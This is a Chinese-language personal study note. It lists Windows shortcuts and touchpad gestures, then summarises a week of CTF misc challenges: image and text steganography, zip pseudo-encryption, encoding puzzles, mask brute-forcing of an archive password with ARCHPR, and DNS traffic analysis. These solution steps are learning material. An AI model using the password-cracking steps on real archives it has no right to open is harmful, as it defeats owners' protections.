WINDOW+D快速回到桌面

CTRL+。中英文标点切换

CTRL+[ 缩小字体

CTRL+]放大字体

CTRL+p打印

触摸板操作

单手指:
单击→左键
两次单击→打开文件夹(也就是鼠标的连续按两次左键)
快速两次单击+拖动可以移动文件夹位置(拖动图标)

双指:
单击→右键、
按住→可以上下/左右滑动窗口

三指:
同时上下滑→回到桌面/打开最小化的应用程序
同时左右滑→切换已打开的应用
同时点击→打开/关闭搜索

四指:
左右滑动切换不同桌面
单击→打开/关闭通知栏

一周做题总结

隐写

你真的只能看到404吗(图片隐写)

将图片拖入010直接搜索flag

隐写(图片隐写)

1先将图片拖入stegsolve进行data分析,选择三原色为0;

2.寻找flag,如果找不到,点第三项,看是否转换成二维码

字里行间的秘密(文本隐写)

1.打开文件有一个txt的文本和一个加密的文档

2.用CTRL+A全选然后复制文本,然后粘贴到零宽加密得到密码

3.输入密码,发现word里面只有一行“恭喜你发现了密码”,此时考虑改变文字的颜色,使隐藏的文字显现出

大白(图片隐写)

1.当拿到图片时会感觉到图片缺少了一部分,图片并不完整

2.将图片拖入了010,修改图片的长和宽

png的基本使用

1.打开文件会发现三张图片

2.第一张图片依照大白的解法,修改宽和高

3.第二张图片使用stegslove,用data分析,三原色选0,选LSB,在第一行去发现信息

4.第四张 图片使用010转成16进制,在文件的开头或者末尾去寻找信息

labyrinth

1.将图片拖入stegsolve,进行一帧帧的分析,会发现二维码

zip伪加密

将文件拖入010修改00

编码转换

熟练知道每个密码的特征,此次有biainfuck加密,JavaScript中的数组和字符串加密,ook加密

伪加密和图片隐写

1.打开文件会发现一个图片和加密的zip文件,此时考虑图片隐写,将图片拖入stegsolve进行data分析,在第一行发现密码,注意密码的格式,将密码输入,得到一个伪加密的zip文件

2.将文件拖入010修改00

掩码爆破

decompress

打开文件,发现有一个文本和一个加密的压缩包,文本的信息为^([a-z]){3}\d[a-z]$。即为密码:前三个字符为小写a到z,然后有一个字符为数字,最后为小写a到z

1.本题用ARCHPR软件

流量分析

DNS

1.根据题目信息筛选dns流量,发现三条可以流量;

2.查看流量可以发现三段字符串,将三段字符串整合成一段,16进制转ascll码,ascll码转base64,得到flag